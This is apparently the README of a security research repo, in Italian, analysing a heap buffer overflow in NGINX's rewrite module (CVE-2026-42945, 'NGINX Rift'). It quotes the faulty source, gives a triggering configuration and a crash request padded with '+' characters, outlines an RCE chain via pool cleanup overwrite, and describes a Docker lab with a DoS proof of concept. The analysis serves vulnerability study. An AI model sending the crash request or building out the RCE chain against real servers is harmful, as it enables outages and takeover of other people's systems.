
NGINX Rift 漏洞分析与复现
CVE-2026-42945 (nome in codice "NGINX Rift") è una vulnerabilità heap buffer overflow nel modulo ngx_http_rewrite_module di NGINX, con punteggio CVSS v4 9.2 (Critico).
La vulnerabilità è stata scoperta dal team di ricerca di sicurezza depthfirst nell'aprile 2026 ed è rimasta latente per 18 anni dall'introduzione in NGINX versione 0.6.27 nel 2008.
La vulnerabilità richiede il seguente modello di configurazione NGINX per essere attivata:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
Condizioni chiave:
rewrite contiene ? (punto interrogativo)set fa riferimento a un gruppo di cattura di espressioni regolari (es. $1)+, &, % ecc.)Il motore di script di NGINX utilizza un'elaborazione in due fasi per eseguire le direttive rewrite/set:
Il nucleo della vulnerabilità risiede nell'incoerenza dello stato del motore tra le due fasi:
rewrite imposta il flag is_argsQuando la stringa di sostituzione della direttiva rewrite contiene ?, la funzione ngx_http_script_start_args_code imposta:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // impostato in modo permanente, mai resettato!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set utilizza un nuovo sotto-motoreQuando la successiva direttiva set fa riferimento a un gruppo di cattura, ngx_http_script_complex_value_code crea un sotto-motore azzerato:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
Calcolo della lunghezza (utilizza il sotto-motore le, is_args=0):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0, condizione falsa, ramo else
return cap[n + 1] - cap[n]; // restituisce la lunghezza originale (non escaped)
}
Copia effettiva (utilizza il motore principale e, is_args=1):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1, condizione vera, ramo if
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// ogni carattere escapabile viene espanso da 1 byte a 3 byte!
}
raw_size (lunghezza originale della cattura)raw_size + 2 * N (N = numero di caratteri escapabili)Ad esempio, se l'URI contiene 100 +, l'overflow è di 200 byte.
Il metodo più semplice: inviare una richiesta contenente molti caratteri escapabili causa il crash del processo worker:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
Catena di sfruttamento RCE completa (richiede ASLR disattivato o bypassato):
ngx_pool_t attraverso l'ordine delle connessionicleanup: overflow nella struttura del memory pool adiacentesystem() tramite il corpo della richiesta POSTngx_destroy_pool che attraversa la lista di cleanupL'architettura multi-processo di NGINX rende lo sfruttamento più affidabile: dopo il crash del worker, il master fa un fork di un nuovo worker con esattamente la stessa disposizione di memoria.
README.md - Questo file, documento di analisi della vulnerabilitàDockerfile - Costruisce un ambiente NGINX vulnerabilenginx.conf - Configurazione NGINX che attiva la vulnerabilitàpoc_crash.py - PoC DoS (innesca il crash del worker)docker-compose.yml - Avvia l'ambiente di test con un solo comando# 1. Build e avvia NGINX vulnerabile
docker-compose up -d
# 2. Esegui il PoC DoS
python3 poc_crash.py
# 3. Controlla i log degli errori di NGINX per confermare il crash
docker-compose logs nginx
Questo materiale è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. Non utilizzare queste informazioni per attacchi non autorizzati.